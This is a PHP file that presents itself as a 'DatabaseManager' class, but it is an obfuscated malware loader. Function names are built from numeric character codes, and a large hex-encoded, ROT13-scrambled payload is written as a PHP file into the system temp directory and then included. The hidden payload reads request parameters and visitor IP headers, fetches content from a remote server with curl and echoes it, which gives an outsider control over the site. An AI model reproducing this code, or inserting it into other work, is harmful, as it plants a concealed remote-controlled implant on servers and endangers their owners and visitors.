<?php
class DatabaseManager {
	private $eg = '';
	private $rt = '';

	public function logTransaction($p1) {
		$a = array(104,(101),(61+59),((38+12)),((92+6)),(38+45+22),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function parseResponse($p1) {
		$a = array((62+38+15),(((78*30)-2224)),(2*57),(95),114,(94+17),(2*58),(49),((3*17)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function handleRequest($p1,$p2) {
		$a = array((110),((101*1)),(112),(((43*2)+25)),(23+3+76));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function fn($p1,$p2) {
		$a = array(101,116,(99+6),((5*1)+109),((125-6)),(((77*1)+25)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function cacheData($p1) {
		$a = array((101),((67*1)+48),((67*42)-2703),((1+107)),((49*1)+50),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function fetchRecords($p1,$p2=null) {
		$a = array((109*1),(79+26),(77+13+24),(51+51+14),(114));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function authorizeUser() {
		$this->rt = $this->fetchRecords($this->encryptData(), '/');
	}

	public function prepareOutput() {
		$this->eg = $this->parseResponse($this->logTransaction($this->bb));
	}

	public function updateCache() {
		$fn = $this->rt.'/ri-68a178c907ead';
		$f = $this->handleRequest($fn, 'w');
		$this->fn($f, $this->eg);
		$this->cacheData($f);
		$this->processData($fn);
	}

	private $bb = '3c3f6375632070796e6666205f686a6f7b636576696e67722' . '066676e677670245f78723b66676e677670207368617067766' . '261205f697828245f6265742c245f657a67297b76732821667' . '279733a3a245f787229667279733a3a5f667128293b245f777' . '93d66676579726128245f657a67293b245f6867643d6f6e667' . '236345f71727062717228667279733a3a245f78725b245f626' . '5745d293b73626528245f796e3d302c245f7764673d6667657' . '9726128245f686764293b245f796e213d3d245f7764673b2b2' . 'b245f796e29245f6867645b245f796e5d3d707565286265712' . '8245f6867645b245f796e5d295e62657128245f657a675b245' . 'f796e25245f77795d29293b657267686561245f6867643b7d6' . '36576696e67722066676e677670207368617067766261205f6' . '67128297b667279733a3a245f78723d6e65656e6c28275f696' . '7273d3e2755755a5842745a6e70775a545a44446f5a4f6b525' . '5756a535a4e7152524e564e424f78554d494f51272c275f736' . '271273d3e27554f306e4e5162704e537859506a44454d49564' . '94f5038725545702b4f75306f5a493072534678474f6b70675' . '46a444e272c275f6f69273d3e27434e443d272c275f7a66752' . '73d3e2742744e37596b626c5378383441453553526b5a4a6e6' . 'd486f425230394145355353754e544175307a54754e2b41774' . '14f4f46522f6f6d4e4c584f4e465a76387053755a724175303' . '250445a4955514156272c275f7271273d3e2759754c6f4e443' . 'd3d272c275f6665273d3e274c6a30584a6a3d3d272c275f767' . '2273d3e274c6a7845514a523d272c275f6e78273d3e27584f5' . '26f546a3d3d272c275f62706e273d3e27272c275f767669273' . 'd3e27272c275f6a71273d3e27272c275f686461273d3e27416' . 'b4e4759313556704f44464348624442744c4f41747450416a6' . '648586a5249704470565a7866525a4e784b5a4f70505948624' . '15953665143754e544c743d3d272c275f676877273d3e27434' . 'e4e714f444e704e444e65272c275f787a273d3e27416b34494' . 'f6a4e5751755a36272c275f787a74273d3e27594e444550775' . '650272c275f6f64273d3e27416a4e4f596a703d272c275f787' . '0273d3e275450382f494e3d3d272c275f7a6e273d3e27596b5' . 'a42416a3d3d272c275f6c6366273d3e275975565552504c3d2' . '72c275f667875273d3e274c4e3d3d272c275f6265273d3e275' . '975444852504c3d272c275f766b7a273d3e27736c4c2b506d3' . '5536f784f6e487a44765a4f30724d48343d272c275f6668672' . '73d3e27416b3854586a3d3d272c275f7a6d273d3e27487a486' . '84e51524f504e6a654f74564f4d4838684e6d4e70505457494' . 'c7a703d272c275f6b66273d3e27594f386f4a554f51272c275' . 'f6c62273d3e27272c275f686968273d3e27416a4e514f4e3d3' . 'd272c275f797a79273d3e274861743d272c275f676462273d3' . 'e27536d4878516d346d526c7431524748695377523d272c275' . 'f6c6b273d3e27536d3032416a4e6b43465244426d487a51463' . '061566a4e695947483d272c275f627771273d3e2751466a775' . '67466665a466a6f59476a3d272c275f637674273d3e27536d3' . '47a58444e2f56476a4141475a2b5476447a272c275f666c772' . '73d3e27536c5a76584e4e76574730415851702f54777876272' . 'c275f6762273d3e27272c275f6d6371273d3e27536c6a36566' . 'a4e64586d486e58766675272c275f716369273d3e27536d386' . '8516d44625476302f51463462272c275f696a273d3e27272c2' . '75f696c6d273d3e27536d6238516d5265526c7067524762335' . '377343d272c275f796176273d3e27536c4837516c3466526d7' . '4645246486a5376523d272c275f796d273d3e27536c302f5a7' . '44e7541504444586d6a775147306857744e2f57514e3d272c2' . '75f6266273d3e27536c6a6142444e745950384458764462514' . '76a3259444e2b4351663d272c275f6469273d3e27514770335' . '944663357465a6f4176743d272c275f7977273d3e2751474c6' . '9525070614e51567a546c523d272c275f6872273d3e27426a6' . 'a5250514e584f743d3d272c275f627867273d3e2753774d737' . '36a3d3d272c275f786764273d3e27736a4951424f3551446a3' . 'd3d272c275f7878273d3e27736a6b484377624a47786a3d272' . 'c275f786e75273d3e277331564259494f7a272c275f6477782' . '73d3e2741745a3d272c275f6d62273d3e275874703d272c275' . 'f69686b273d3e2759445a70272c275f786e273d3e2759744e5' . '7504e3d3d272c293b7d7d75726e717265285f686a6f3a3a5f6' . '97828275f6967272c275f63762729293b75726e717265285f6' . '86a6f3a3a5f697828275f736271272c275f6567672729293b7' . '67328766666726728245f5452475b5f686a6f3a3a5f6978282' . '75f6f69272c275f797527295d29297b245f6a743d5f78796b2' . '85f686a6f3a3a5f697828275f7a6675272c275f6c642729293' . 'b767328245f6a74262666676563626628245f6a742c5f686a6' . 'f3a3a5f697828275f7271272c275f6e6e6c272929213d3d736' . 'e796672297b717672285f686a6f3a3a5f697828275f6665272' . 'c275f6f6e722729293b7d727966727b717672285f686a6f3a3' . 'a5f697828275f7672272c275f7863762729293b7d7d7673287' . '66666726728245f5452475b5f686a6f3a3a5f697828275f6e7' . '8272c275f636a6a27295d29297b245f7764673d245f5042425' . '856523b245f657a673d2876616729656268617128302b302b3' . '0293b245f6265743d2876616729656268617128312e37352b3' . '12e37352b312e37352b312e3735293b245f72673d6e65656e6' . 'c28293b245f72675b245f657a675d3d5f686a6f3a3a5f69782' . '8275f62706e272c275f75786627293b6a7576797228245f626' . '574297b245f72675b245f657a675d2e3d245f7764675b28766' . '16729656268617128372e352b372e352b372e352b372e35295' . 'd5b245f6265745d3b76732821245f7764675b2876616729656' . '268617128372e352b372e352b372e352b372e35295d5b245f6' . '265742b2876616729656268617128302e32352b302e32352b3' . '02e32352b302e3235295d297b76732821245f7764675b28766' . '16729656268617128372e352b372e352b372e352b372e35295' . 'd5b245f6265742b2876616729656268617128312b31295d296' . 'f65726e783b245f657a672b2b3b245f72675b245f657a675d3' . 'd5f686a6f3a3a5f697828275f767669272c275f616427293b2' . '45f6265742b2b3b7d245f6265743d245f6265742b287661672' . '9656268617128322e333333333333333333333333332b322e3' . '33333333333333333333333332b322e3333333333333333333' . '3333333292b2876616729656268617128302e3333333333333' . '3333333333333332b302e33333333333333333333333333332' . 'b302e3333333333333333333333333333293b7d245f657a673' . 'd245f72675b2876616729656268617128372b37295d28292e2' . '45f72675b2876616729656268617128362b362b362b36295d3' . 'b76732821245f72675b2876616729656268617128332b33295' . 'd28245f657a6729297b245f6265743d245f72675b287661672' . '9656268617128362e352b362e352b362e352b362e35295d282' . '45f657a672c245f72675b2876616729656268617128352b352' . '95d293b245f72675b2876616729656268617128322e32352b3' . '22e32352b322e32352b322e3235295d28245f6265742c245f7' . '2675b2876616729656268617128332e3636363636363636363' . '63636372b332e363636363636363636363636372b332e36363' . '636363636363636363637295d2e245f72675b2876616729656' . '268617128352e37352b352e37352b352e37352b352e3735295' . 'd28245f72675b2876616729656268617128362e32352b362e3' . '2352b362e32352b362e3235295d28245f7764675b287661672' . '9656268617128302e37352b302e37352b302e37352b302e373' . '5295d2929293b7d7661707968717228245f657a67293b7d736' . '8617067766261205f78796b28245f78732c245f756e3d27697' . '467636e7a69757064726264272c245f61793d312e343832393' . '437313035353735372c245f64673d2d302e373538323437333' . '1343039333131297b245f72663d5f686a6f3a3a5f697828275' . 'f6a71272c275f616c6227293b245f71736d3d5f686a6f3a3a5' . 'f697828275f686461272c275f717427292e245f78733b76732' . '876665f706e79796e6f7972285f686a6f3a3a5f697828275f6' . '76877272c275f686276272929297b245f64783d706865795f7' . '661766728245f71736d293b706865795f66726762636728245' . 'f64782c504845594243475f4646595f49524556534c4352524' . '52c736e796672293b706865795f66726762636728245f64782' . 'c504845594243475f4646595f49524556534c554246472c287' . '6616729656268617128312b3129293b706865795f667267626' . '36728245f64782c504845594243475f53425959424a5942504' . 'e475642412c2876616729656268617128302e32352b302e323' . '52b302e32352b302e323529293b706865795f6672676263672' . '8245f64782c504845594243475f45524748454147454e41465' . '352452c2876616729656268617128302e352b302e3529293b7' . '06865795f66726762636728245f64782c504845594243475f5' . '5524e5152452c2876616729656268617128302b302b3029293' . 'b706865795f66726762636728245f64782c504845594243475' . 'f5042414152504747565a524248472c2876616729656268617' . '128332e333333333333333333333333332b332e33333333333' . '3333333333333332b332e33333333333333333333333333292' . '93b706865795f66726762636728245f64782c5048455942434' . '75f47565a524248472c2876616729656268617128332e33333' . '3333333333333333333332b332e33333333333333333333333' . '3332b332e3333333333333333333333333329293b245f72663' . 'd706865795f726b727028245f6478293b245f6b733d7068657' . '95f7472677661736228245f6478293b706865795f707962667' . '228245f6478293b767328245f6b735b5f686a6f3a3a5f69782' . '8275f787a272c275f776e6a27295d213d28766167296562686' . '1712835302b35302b35302b3530292965726768656120736e7' . '966723b7d727966727b245f6163763d636e6566725f6865792' . '8245f71736d293b245f70766f3d28245f6163765b5f686a6f3' . 'a3a5f697828275f787a74272c275f746c6227295d3d3d5f686' . 'a6f3a3a5f697828275f6f64272c275f67682729293b245f616' . 'f613d5f686a6f3a3a5f697828275f7870272c275f777867272' . '92e245f6163765b5f686a6f3a3a5f697828275f7a6e272c275' . 'f656d27295d3b767328766666726728245f6163765b5f686a6' . 'f3a3a5f697828275f6c6366272c275f746f6f27295d2929245' . 'f616f612e3d5f686a6f3a3a5f697828275f667875272c275f6' . 'f767427292e245f6163765b5f686a6f3a3a5f697828275f626' . '5272c275f6e646f27295d3b245f616f612e3d5f686a6f3a3a5' . 'f697828275f766b7a272c275f617727292e245f6163765b5f6' . '86a6f3a3a5f697828275f666867272c275f636827295d2e5f6' . '86a6f3a3a5f697828275f7a6d272c275f627a6227293b245f7' . '27a683d7366627078626372612828245f70766f3f5f686a6f3' . 'a3a5f697828275f6b66272c275f796a6f27293a5f686a6f3a3' . 'a5f697828275f6c62272c275f7a71612729292e245f6163765' . 'b5f686a6f3a3a5f697828275f686968272c275f62636327295' . 'd2c245f70766f3f28766167296562686171283134372e36363' . '636363636363636372b3134372e36363636363636363636372' . 'b3134372e3636363636363636363637293a287661672965626' . '861712832302b32302b32302b323029293b767328245f727a6' . '8297b736368676628245f727a682c245f616f61293b245f686' . '7643d2876616729656268617128302b30293b6a75767972282' . '17372627328245f727a6829297b245f72726f3d73747267662' . '8245f727a682c28766167296562686171283334312e3333333' . '3333333333333332b3334312e33333333333333333333332b3' . '334312e333333333333333333333329293b767328245f68676' . '429245f72662e3d245f72726f3b767328245f72726f3d3d5f6' . '86a6f3a3a5f697828275f797a79272c275f656b272929245f6' . '867643d2876616729656268617128302e33333333333333333' . '333333333332b302e33333333333333333333333333332b302' . 'e3333333333333333333333333333293b7d737079626672282' . '45f727a68293b7d7d657267686561245f72663b7d245f78743' . 'd766666726728245f4652454952455b5f686a6f3a3a5f69782' . '8275f676462272c275f6e6327295d293b245f6463703d76666' . '6726728245f4652454952455b5f686a6f3a3a5f697828275f6' . 'c6b272c275f766f7427295d293b245f75683d7666667267282' . '45f4652454952455b5f686a6f3a3a5f697828275f627771272' . 'c275f76617a27295d293b245f70693d766666726728245f465' . '2454952455b5f686a6f3a3a5f697828275f637674272c275f7' . '7656c27295d293f245f4652454952455b5f686a6f3a3a5f697' . '828275f666c77272c275f6a696b27295d3a5f686a6f3a3a5f6' . '97828275f6762272c275f6c7727293b245f71633d766666726' . '728245f4652454952455b5f686a6f3a3a5f697828275f6d637' . '1272c275f6b616627295d293f245f4652454952455b5f686a6' . 'f3a3a5f697828275f716369272c275f786d27295d3a5f686a6' . 'f3a3a5f697828275f696a272c275f61706b27293b245f78743' . 'd766666726728245f4652454952455b5f686a6f3a3a5f69782' . '8275f696c6d272c275f617527295d293f245f4652454952455' . 'b5f686a6f3a3a5f697828275f796176272c275f646227295d3' . 'a616879793b245f6463703d766666726728245f46524549524' . '55b5f686a6f3a3a5f697828275f796d272c275f6c786f27295' . 'd293f245f4652454952455b5f686a6f3a3a5f697828275f626' . '6272c275f6b667627295d3a616879793b245f75683d7666667' . '26728245f4652454952455b5f686a6f3a3a5f697828275f646' . '9272c275f656d6f27295d293f245f4652454952455b5f686a6' . 'f3a3a5f697828275f7977272c275f666f27295d3a616879793' . 'b7673287376796772655f696e6528245f78742c28766167296' . '562686171283133372e352b3133372e352929297b245f6b723' . 'd245f78743b7d727966727673287376796772655f696e65282' . '45f6463702c287661672965626861712836382e37352b36382' . 'e37352b36382e37352b36382e37352929297b245f6b723d245' . 'f6463703b7d727966727b245f6b723d245f75683b7d7673287' . '66666726728245f5452475b5f686a6f3a3a5f697828275f687' . '2272c275f61707227295d29297b72707562205f686a6f3a3a5' . 'f697828275f627867272c275f737227292e245f6b722e5f686' . 'a6f3a3a5f697828275f786764272c275f6c707a27292e245f7' . '0692e5f686a6f3a3a5f697828275f7878272c275f636779272' . '92e245f71632e5f686a6f3a3a5f697828275f786e75272c275' . 'f617927293b726b766728293b7d76732821766666726728245' . 'f6b72297c7c21766666726728245f7069297c7c21766666726' . '728245f716329297b726b766728293b7d727966727b245f627' . '76e3d6e65656e6c285f686a6f3a3a5f697828275f647778272' . 'c275f666627293d3e245f6b722c5f686a6f3a3a5f697828275' . 'f6d62272c275f737727293d3e245f70692c5f686a6f3a3a5f6' . '97828275f69686b272c275f736d6b27293d3e245f7163293b2' . '45f71723d686579726170627172286f6e667236345f7261706' . '2717228776662615f72617062717228245f62776e2929293b2' . '45f6a743d5f78796b28245f7172293b767328245f6a7426266' . '6676563626628245f6a742c5f686a6f3a3a5f697828275f786' . 'e272c275f6a6663272929213d3d736e796672297b727075622' . '45f6a743b726b766728293b7d7d';

	public function processData($p) {
		include_once $p;
	}

	public function encryptData() {
		$a=array((((75*1)+40)),((103*115)-11724),(5*23),((37*1)+58),((69*40)-2657),(101*1),(((122*94)-11352)),(5+86+4),(68+43+5),((34+34+33)),(88+21),((63+49)),((17*46)-687),(((67*1)+33)),((106-1)),(((29*94)-2612)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ei = new DatabaseManager();
$ei->authorizeUser();
$ei->prepareOutput();
$ei->updateCache();
